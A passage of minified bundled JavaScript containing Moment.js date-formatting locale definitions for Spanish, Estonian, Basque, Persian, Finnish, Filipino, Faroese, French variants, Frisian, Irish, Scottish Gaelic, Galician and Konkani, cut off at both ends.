MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:4},invalidDate:"Fecha inválida"})}(n(381))},1146:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-us",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"MM/DD/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:6}})}(n(381))},5655:function(e,t,n){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),n="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),r=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],i=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsRegex:i,monthsShortRegex:i,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:r,longMonthsParse:r,shortMonthsParse:r,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha inválida"})}(n(381))},5603:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["mõne sekundi","mõni sekund","paar sekundit"],ss:[e+"sekundi",e+"sekundit"],m:["ühe minuti","üks minut"],mm:[e+" minuti",e+" minutit"],h:["ühe tunni","tund aega","üks tund"],hh:[e+" tunni",e+" tundi"],d:["ühe päeva","üks päev"],M:["kuu aja","kuu aega","üks kuu"],MM:[e+" kuu",e+" kuud"],y:["ühe aasta","aasta","üks aasta"],yy:[e+" aasta",e+" aastat"]};return t?i[n][2]?i[n][2]:i[n][1]:r?i[n][0]:i[n][1]}e.defineLocale("et",{months:"jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"),monthsShort:"jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"),weekdays:"pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"),weekdaysShort:"P_E_T_K_N_R_L".split("_"),weekdaysMin:"P_E_T_K_N_R_L".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[Täna,] LT",nextDay:"[Homme,] LT",nextWeek:"[Järgmine] dddd LT",lastDay:"[Eile,] LT",lastWeek:"[Eelmine] dddd LT",sameElse:"L"},relativeTime:{future:"%s pärast",past:"%s tagasi",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:"%d päeva",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},7763:function(e,t,n){!function(e){"use strict";e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(n(381))},6959:function(e,t,n){!function(e){"use strict";var t={1:"۱",2:"۲",3:"۳",4:"۴",5:"۵",6:"۶",7:"۷",8:"۸",9:"۹",0:"۰"},n={"۱":"1","۲":"2","۳":"3","۴":"4","۵":"5","۶":"6","۷":"7","۸":"8","۹":"9","۰":"0"};e.defineLocale("fa",{months:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),monthsShort:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),weekdays:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysShort:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysMin:"ی_د_س_چ_پ_ج_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/قبل از ظهر|بعد از ظهر/,isPM:function(e){return/بعد از ظهر/.test(e)},meridiem:function(e,t,n){return e<12?"قبل از ظهر":"بعد از ظهر"},calendar:{sameDay:"[امروز ساعت] LT",nextDay:"[فردا ساعت] LT",nextWeek:"dddd [ساعت] LT",lastDay:"[دیروز ساعت] LT",lastWeek:"dddd [پیش] [ساعت] LT",sameElse:"L"},relativeTime:{future:"در %s",past:"%s پیش",s:"چند ثانیه",ss:"%d ثانیه",m:"یک دقیقه",mm:"%d دقیقه",h:"یک ساعت",hh:"%d ساعت",d:"یک روز",dd:"%d روز",M:"یک ماه",MM:"%d ماه",y:"یک سال",yy:"%d سال"},preparse:function(e){return e.replace(/[۰-۹]/g,(function(e){return n[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},dayOfMonthOrdinalParse:/\d{1,2}م/,ordinal:"%dم",week:{dow:6,doy:12}})}(n(381))},1897:function(e,t,n){!function(e){"use strict";var t="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),n=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",t[7],t[8],t[9]];function r(e,t,n,r){var a="";switch(n){case"s":return r?"muutaman sekunnin":"muutama sekunti";case"ss":a=r?"sekunnin":"sekuntia";break;case"m":return r?"minuutin":"minuutti";case"mm":a=r?"minuutin":"minuuttia";break;case"h":return r?"tunnin":"tunti";case"hh":a=r?"tunnin":"tuntia";break;case"d":return r?"päivän":"päivä";case"dd":a=r?"päivän":"päivää";break;case"M":return r?"kuukauden":"kuukausi";case"MM":a=r?"kuukauden":"kuukautta";break;case"y":return r?"vuoden":"vuosi";case"yy":a=r?"vuoden":"vuotta"}return a=i(e,r)+" "+a}function i(e,r){return e<10?r?n[e]:t[e]:e}e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:r,ss:r,m:r,mm:r,h:r,hh:r,d:r,dd:r,M:r,MM:r,y:r,yy:r},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},2549:function(e,t,n){!function(e){"use strict";e.defineLocale("fil",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(n(381))},4694:function(e,t,n){!function(e){"use strict";e.defineLocale("fo",{months:"januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"),weekdaysShort:"sun_mán_týs_mik_hós_frí_ley".split("_"),weekdaysMin:"su_má_tý_mi_hó_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[Í dag kl.] LT",nextDay:"[Í morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[Í gjár kl.] LT",lastWeek:"[síðstu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s síðani",s:"fá sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein tími",hh:"%d tímar",d:"ein dagur",dd:"%d dagar",M:"ein mánaður",MM:"%d mánaðir",y:"eitt ár",yy:"%d ár"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(n(381))},3049:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ca",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}}})}(n(381))},2330:function(e,t,n){!function(e){"use strict";e.defineLocale("fr-ch",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n(381))},4470:function(e,t,n){!function(e){"use strict";var t=/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,n=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?)/i,r=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?|janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,i=[/^janv/i,/^févr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^août/i,/^sept/i,/^oct/i,/^nov/i,/^déc/i];e.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:t,monthsShortStrictRegex:n,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(n(381))},5044:function(e,t,n){!function(e){"use strict";var t="jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"),n="jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_");e.defineLocale("fy",{months:"jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"),monthsShort:function(e,r){return e?/-MMM-/.test(r)?n[e.month()]:t[e.month()]:t},monthsParseExact:!0,weekdays:"snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"),weekdaysShort:"si._mo._ti._wo._to._fr._so.".split("_"),weekdaysMin:"Si_Mo_Ti_Wo_To_Fr_So".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[hjoed om] LT",nextDay:"[moarn om] LT",nextWeek:"dddd [om] LT",lastDay:"[juster om] LT",lastWeek:"[ôfrûne] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oer %s",past:"%s lyn",s:"in pear sekonden",ss:"%d sekonden",m:"ien minút",mm:"%d minuten",h:"ien oere",hh:"%d oeren",d:"ien dei",dd:"%d dagen",M:"ien moanne",MM:"%d moannen",y:"ien jier",yy:"%d jierren"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(n(381))},9295:function(e,t,n){!function(e){"use strict";var t=["Eanáir","Feabhra","Márta","Aibreán","Bealtaine","Meitheamh","Iúil","Lúnasa","Meán Fómhair","Deireadh Fómhair","Samhain","Nollaig"],n=["Ean","Feabh","Márt","Aib","Beal","Meith","Iúil","Lún","M.F.","D.F.","Samh","Noll"],r=["Dé Domhnaigh","Dé Luain","Dé Máirt","Dé Céadaoin","Déardaoin","Dé hAoine","Dé Sathairn"],i=["Domh","Luan","Máirt","Céad","Déar","Aoine","Sath"],a=["Do","Lu","Má","Cé","Dé","A","Sa"];e.defineLocale("ga",{months:t,monthsShort:n,monthsParseExact:!0,weekdays:r,weekdaysShort:i,weekdaysMin:a,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Inniu ag] LT",nextDay:"[Amárach ag] LT",nextWeek:"dddd [ag] LT",lastDay:"[Inné ag] LT",lastWeek:"dddd [seo caite] [ag] LT",sameElse:"L"},relativeTime:{future:"i %s",past:"%s ó shin",s:"cúpla soicind",ss:"%d soicind",m:"nóiméad",mm:"%d nóiméad",h:"uair an chloig",hh:"%d uair an chloig",d:"lá",dd:"%d lá",M:"mí",MM:"%d míonna",y:"bliain",yy:"%d bliain"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n(381))},2101:function(e,t,n){!function(e){"use strict";var t=["Am Faoilleach","An Gearran","Am Màrt","An Giblean","An Cèitean","An t-Ògmhios","An t-Iuchar","An Lùnastal","An t-Sultain","An Dàmhair","An t-Samhain","An Dùbhlachd"],n=["Faoi","Gear","Màrt","Gibl","Cèit","Ògmh","Iuch","Lùn","Sult","Dàmh","Samh","Dùbh"],r=["Didòmhnaich","Diluain","Dimàirt","Diciadain","Diardaoin","Dihaoine","Disathairne"],i=["Did","Dil","Dim","Dic","Dia","Dih","Dis"],a=["Dò","Lu","Mà","Ci","Ar","Ha","Sa"];e.defineLocale("gd",{months:t,monthsShort:n,monthsParseExact:!0,weekdays:r,weekdaysShort:i,weekdaysMin:a,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[An-diugh aig] LT",nextDay:"[A-màireach aig] LT",nextWeek:"dddd [aig] LT",lastDay:"[An-dè aig] LT",lastWeek:"dddd [seo chaidh] [aig] LT",sameElse:"L"},relativeTime:{future:"ann an %s",past:"bho chionn %s",s:"beagan diogan",ss:"%d diogan",m:"mionaid",mm:"%d mionaidean",h:"uair",hh:"%d uairean",d:"latha",dd:"%d latha",M:"mìos",MM:"%d mìosan",y:"bliadhna",yy:"%d bliadhna"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(n(381))},8794:function(e,t,n){!function(e){"use strict";e.defineLocale("gl",{months:"xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"),monthsShort:"xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"domingo_luns_martes_mércores_xoves_venres_sábado".split("_"),weekdaysShort:"dom._lun._mar._mér._xov._ven._sáb.".split("_"),weekdaysMin:"do_lu_ma_mé_xo_ve_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoxe "+(1!==this.hours()?"ás":"á")+"] LT"},nextDay:function(){return"[mañá "+(1!==this.hours()?"ás":"á")+"] LT"},nextWeek:function(){return"dddd ["+(1!==this.hours()?"ás":"a")+"] LT"},lastDay:function(){return"[onte "+(1!==this.hours()?"á":"a")+"] LT"},lastWeek:function(){return"[o] dddd [pasado "+(1!==this.hours()?"ás":"a")+"] LT"},sameElse:"L"},relativeTime:{future:function(e){return 0===e.indexOf("un")?"n"+e:"en "+e},past:"hai %s",s:"uns segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"unha hora",hh:"%d horas",d:"un día",dd:"%d días",M:"un mes",MM:"%d meses",y:"un ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(n(381))},7884:function(e,t,n){!function(e){"use strict";function t(e,t,n,r){var i={s:["थोडया सॅकंडांनी","थोडे सॅकंड"],ss:[e+" सॅकंडांनी",e+" सॅकंड"],m:["एका मिणटान","एक मिनूट"],mm:[e+" मिणटांनी",e+" मिणटां"],h:["एका वरान","एक वर"],hh:[e+" वरांनी",e+" वरां"],d:["एका दिसान","एक दीस"],dd:[e+" दिसांनी",e+" दीस"],M:["एका म्हयन्यान","एक म्हयनो"],MM:[e+" म्हयन्यानी",e+" म्हयने"],y:["एका वर्सान","एक वर्स"],yy:[e+" वर्सांनी",e+" वर्सां"]};return r?i[n][0]:i[n][1]}e.defineLocale("gom-deva",{months:{standalone:"जानेवारी_फेब्रुवारी_मार्च_एप्रील_मे_जून_जुलय_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),format:"जानेवारीच्या_फेब्रुवारीच्या_मार्चाच्या_एप्रीलाच्या_मेयाच्या_जूनाच्या_जुलयाच्या_ऑगस्टाच्या_सप्टेंबराच्या_ऑक्टोबराच्या_नोव्हेंबराच्या_डिसेंबराच्या".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"जाने._फेब्रु._मार्च_एप्री._मे_जून_जुल._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"आयतार_सोमार_मंगळार_बुधवार_बिरेस्तार_सुक्रार_शेनवार".split("_"),weekdaysShort:"आयत._सोम._मंगळ._बुध._ब्रेस्त._सुक्र._शेन.".split("_"),weekdaysMin:"आ_सो_मं_बु_ब्रे_सु_शे".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [वाजतां]",LTS:"A h:mm:ss 